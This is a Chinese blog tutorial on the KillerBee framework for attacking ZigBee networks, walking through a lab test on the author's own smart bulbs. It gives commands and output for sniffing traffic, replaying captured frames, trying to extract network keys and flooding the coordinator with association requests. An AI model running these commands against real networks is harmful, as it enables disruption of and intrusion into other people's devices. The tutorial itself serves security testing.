溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

KillBee框架的使用方法

發(fā)布時間:2021-07-19 09:57:08 來源:億速云 閱讀:148 作者:chen 欄目:數(shù)據(jù)安全

這篇文章主要介紹“KillBee框架的使用方法”,在日常操作中,相信很多人在KillBee框架的使用方法問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”KillBee框架的使用方法”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

KillerBee框架

KillerBee攻擊框架,KillerBee是針對ZigBee和IEEE 802.15.4網(wǎng)絡的框架和安全研究工具。

框架要求

KillerBee目前僅支持Linux系統(tǒng)。在安裝之前必須安裝以下Python模塊。在Ubuntu系統(tǒng)上,可以使用以下命令安裝所需的依賴項:

# apt-get install python-gtk2 python-cairo python-usb python-crypto python-serial python-dev libgcrypt-dev
# git clone https://github.com/secdev/scapy
# cd scapy
# python setup.py install

注:KillerBee是一個強大但并不“友好”的測試平臺,它主要是為開發(fā)人員和高級分析專家服務的,所以在此之前建議大家先了解一下ZigBee協(xié)議。

安裝KillerBee

KillerBee使用標準的Python “setup.py” 安裝文件。使用以下命令安裝KillerBee:

# python setup.py install

目錄結構

KillerBee代碼的目錄結構描述如下:

  • doc - KillerBee庫中的HTML文檔,由epydoc提供。

  • firmware - 支持的KillerBee硬件設備的固件。

  • killerbee - Python庫源代碼。

  • sample - 樣本數(shù)據(jù)包捕獲,在下面引用。

  • scripts - 開發(fā)中使用的Shell腳本。

  • tools - 使用此框架開發(fā)的ZigBee和IEEE 802.15.4攻擊工具。

硬件要求

KillerBee框架目前支持多款設備,包括River Loop ApiMote、Atmel RZ RAVEN無線電收發(fā)器、MoteIVTmote Sky、TelosB mote、Sewino嗅探器和運行Silicon Labs Node Test固件的各種硬件。簡單介紹其中三種硬件設備:

ApiMote v4 beta:Beta版目前支持嗅探,注入和阻塞。

工具介紹

KillerBee包括多種工具,用于攻擊使用KillerBee框架構建的ZigBee和IEEE 802.15.4網(wǎng)絡。通過“ -h”參數(shù)可以查看詳細的使用說明,在下面進行了概述。

  • zbid - 標識KillerBee和關聯(lián)工具可以使用的可用接口。

  • zbwireshark - 與zbdump相似,但是公開了一個命名管道,以便在Wireshark中進行實時捕獲和查看。

  • zbdump - 類似tcpdump的功能,用于捕獲ibpcap數(shù)據(jù)包文件。它可以以pcap和Daintree格式保存數(shù)據(jù)包。

  • zbreplay - 實施重放攻擊,從指定的Daintree DCF或libpcap數(shù)據(jù)包捕獲文件中讀取數(shù)據(jù),然后重新傳輸幀。ACK幀不會重新發(fā)送。

  • zbstumbler - 激活ZigBee和IEEE 802.15.4網(wǎng)絡發(fā)現(xiàn)工具。Zbstumbler發(fā)送信標請求幀,同時跳頻,記錄和顯示有關已發(fā)現(xiàn)設備的摘要信息。

  • zbdsniff - 捕獲ZigBee流量,查找NWK幀和無線密鑰配置。找到密鑰后,zbdsniff會將密鑰打印到stdout。

  • zbkey - 嘗試向協(xié)調器發(fā)送連接請求獲取密鑰。

  • zbconvert - 將數(shù)據(jù)包捕獲從Libpcap轉換為Daintree SNA格式,反之亦然。

  • zbfind - 一個GTK GUI應用程序,用于通過測量RSSI來跟蹤IEEE 802.15.4發(fā)射機的位置。

  • bscapy - 提供一個交互式的Scapy shell,用于通過KillerBee界面進行交互。必須安裝Scapy才能運行此功能。

框架介紹

KillerBee主要用于針對數(shù)據(jù)包捕獲文件(libpcap或Daintree SNA)中嗅探數(shù)據(jù)包的過程,并用于注入任意數(shù)據(jù)包。包括IEEE 802.15.4,ZigBee NWK和ZigBee APS數(shù)據(jù)包解碼器在內的輔助功能也可用。

KillerBee API以epydoc格式記錄,此發(fā)行版的doc/目錄中包含HTML文檔。如果已安裝epydoc,則還可以根據(jù)需要生成一個方便的PDF進行打印,如下所示:

$ cd killerbee
$ mkdir pdf
$ epydoc --pdf -o pdf killerbee/

pdf/ 目錄將包含一個名為“api.pdf”的文件,其中包括框架文檔。

由于KillerBee是一個Python庫,因此它集成了其他Python軟件。例如,Sulley庫是由Pedram Amini用Python編寫的模糊測試框架。KillerBee框架使用它來數(shù)據(jù)包注入功能,用于生成格式不正確的ZigBee數(shù)據(jù)并將其傳輸?shù)侥繕恕?/p>

ZigBee流量分析

ZigBee網(wǎng)絡環(huán)境

搭建ZigBee協(xié)議通信的智能燈泡系統(tǒng),一共四個終端設備(RGB燈,分為1、2、3、4號)以及ZigBee協(xié)調器用于與每個終端設備(燈)網(wǎng)絡通信。

KillBee框架的使用方法

使用ApiMote

在樹莓派環(huán)境下,根據(jù)前面的介紹安裝好KillerBee框架以后,下面開始用手上的ApiMote硬件設備進行ZigBee流量的分析測試。

KillBee框架的使用方法

ApiMote連接樹莓派以后,會自動檢測到ApiMote(ID 0403:6015)并加載驅動程序。

root@raspberrypi:/home/pi/Desktop# lsusb
Bus 001 Device 005: ID 0403:6015 Future Technology Devices International, Ltd Bridge(I2C/SPI/UART/FIFO)
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet Adapter
Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

ApiMote通常會預裝好固件,不需要重新刷寫。若需要刷寫固件,步驟如下:

  1. 在 firware/ 目錄下包含多種設備的固件,選擇ApiMote的固件apimotev4_202011.hex

  2. 運行flash_apimote.sh腳本,如果第一次不同步而超時,有時可能需要兩次嘗試才能正確閃爍。

  3. 可以通過運行sudo zbid來驗證固件,并列出設備。

    root@raspberrypi:/home/pi/Desktop# zbid
           Dev Product String       Serial Number
    /dev/ttyUSB1 GoodFET Api-Mote v2

嗅探數(shù)據(jù)包

zbwireshark允許用戶在Wireshark中實時嗅探和查看ZigBee流量。該工具創(chuàng)建一個管道,Wireshark然后從中讀取數(shù)據(jù),并實時顯示出來。

root@raspberrypi:/home/pi/Desktop# zbwireshark -f 15
zbwireshark: listening on '/dev/ttyUSB1', channel 15, page 0 (2425.0 MHz), link-type DLT_IEEE802_15_4, capture size 127 bytes

-f 參數(shù)指定第 15 信道。

KillBee框架的使用方法

也可以使用 zbdump以pcap和DainTree格式嗅探并保存數(shù)據(jù)包。這里我們以pcap格式,以便使用wireshark打開分析協(xié)議,下面運行zbdump,同樣使用 -f 指定信道。

root@raspberrypi:/home/pi/Desktop# zbdump -f 15 -w test.pcap 
zbdump: listening on '/dev/ttyUSB1', channel 15, page 0 (2425.0 MHz), link-type DLT_IEEE802_15_4, capture size 127 bytes
^C
54 packets captured

使用wireshark打開捕獲的數(shù)據(jù)包

KillBee框架的使用方法

數(shù)據(jù)包中,捕獲的源和目的地址被分配了網(wǎng)絡ID,例如

  • PAN ID :0xd85b

  • 0x0000 通常是協(xié)調器。

  • 0x0c08 是其中一個終端設備加入ZigBee網(wǎng)絡分配的ID。

  • 擴展地址是硬件地址:00:12:4b:00:22:30:5e:4b

重放ZigBee流量

通過捕獲設備的數(shù)據(jù)包,然后將該流量進行重播回設備。

zbdump剛剛使用過此工具將流量保存到數(shù)據(jù)包文件中,接下來使用zbreply工具,將從zbdump獲取的pcap文件,通過ApiMote對其重播。

-f 參數(shù)指定信道,-w 參數(shù)指定用于寫入捕獲的數(shù)據(jù)包的pcap文件,-r指定用于讀取捕獲的數(shù)據(jù)包的pcap文件。

root@raspberrypi:/home/pi/Desktop# zbdump -f 15 -w operating.pcap
zbdump: listening on '/dev/ttyUSB0', channel 15, page 0 (2425.0 MHz), link-type DLT_IEEE802_15_4, capture size 127 bytes
^C
61 packets captured
root@raspberrypi:/home/pi/Desktop# zbreplay -f 15 -r operating.pcap
zbreplay: retransmitting frames from 'operating.pcap' on interface '/dev/ttyUSB0' with a delay of 1.0 seconds.
34 packets transmitted

嗅探密鑰

zbdsniff工具可以從ZigBee網(wǎng)絡抓取的流量數(shù)據(jù)包pcap文件中發(fā)現(xiàn)明文的密鑰key,并返回key。

root@raspberrypi:/home/pi/Desktop# zbdsniff -f operating.pcap -k c028128de295be0708aebe9eed
Processing operating.pcap
[+] Processed 1 capture files.

但是我沒有從文件中得到任何輸出,可能沒有找到可用的key。

zbkey與 zbdsniff 目的相似,不同的是 zbkey 會向協(xié)調器發(fā)送連接,然后發(fā)送數(shù)據(jù)請求來檢索獲取密鑰,而不是掃描pcap文件。-f 參數(shù)指定信道,-s 定時,-p 參數(shù)指定 PAN ID,-a 參數(shù)指定ZigBee硬件地址。但是沒有返回成功。

root@raspberrypi:/home/pi/Desktop# zbkey -f 15 -s 0.1 -p d85b -a 00124b0022305e4b 
Sending association packet...
Sending data request packet...
Received frame                                          .^
Length of packet received in associate_handle: 54
0000:  61 88 ac 5b d8 c4 10 00 00 08 02 c4 10 00 00 1e   a..[............
0010:  81 28 49 b4 09 00 3a a9 da fe ff 27 71 84 00 ce   .(I...:....'q...
0020:  8c 9f 39 98 2e 26 f8 2c d1 54 ca 0a d9 2d fb 6c   ..9..&.,.T...-.l
0030:  06 82 e3 29 03 00                                 ...)..

Received frame
Length of packet received in associate_handle: 50
0000:  61 88 cd 5b d8 08 0c a2 c4 08 02 08 0c 00 00 1d   a..[............
0010:  85 28 47 99 02 00 4b 5e 30 22 00 4b 12 00 00 b5   .(G...K^0".K....
0020:  a9 58 f8 e2 96 ed ab 4f 9b 50 76 b4 99 d2 99 1a   .X.....O.Pv.....
0030:  09 d1                                             ..

Received frame
Length of packet received in associate_handle: 5
0000:  02 00 af 45 e8                                    ...E.

Sorry, we didn't hear a device respond with an association response. Do you have an active target within range?

拒絕服務攻擊

KillerBee 框架提供了 zbassocflood工具,該工具嘗試將大量關聯(lián)請求發(fā)送到目標網(wǎng)絡。需要PAN ID(-p),信道(-c)和定時(-s)。

root@raspberrypi:/home/pi/Desktop# zbassocflood -p d85b -c 15 -s 0.1
zbassocflood: Transmitting and receiving on interface '/dev/ttyUSB0'
.............
^C
Sent 13 associate requests.

KillerBee的攻擊方式大致分為,發(fā)現(xiàn)設備(zbstumbler、zbopenear、zbfind),嗅探流量(zbdump、zbwireshark),獲取密鑰(zbdsniff、zbkey、zbgoodfind),重放流量(zbscapy、zbreplay),拒絕服務(zbscapy、zbassocflood)。

到此,關于“KillBee框架的使用方法”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續(xù)學習更多相關知識,請繼續(xù)關注億速云網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內容。

AI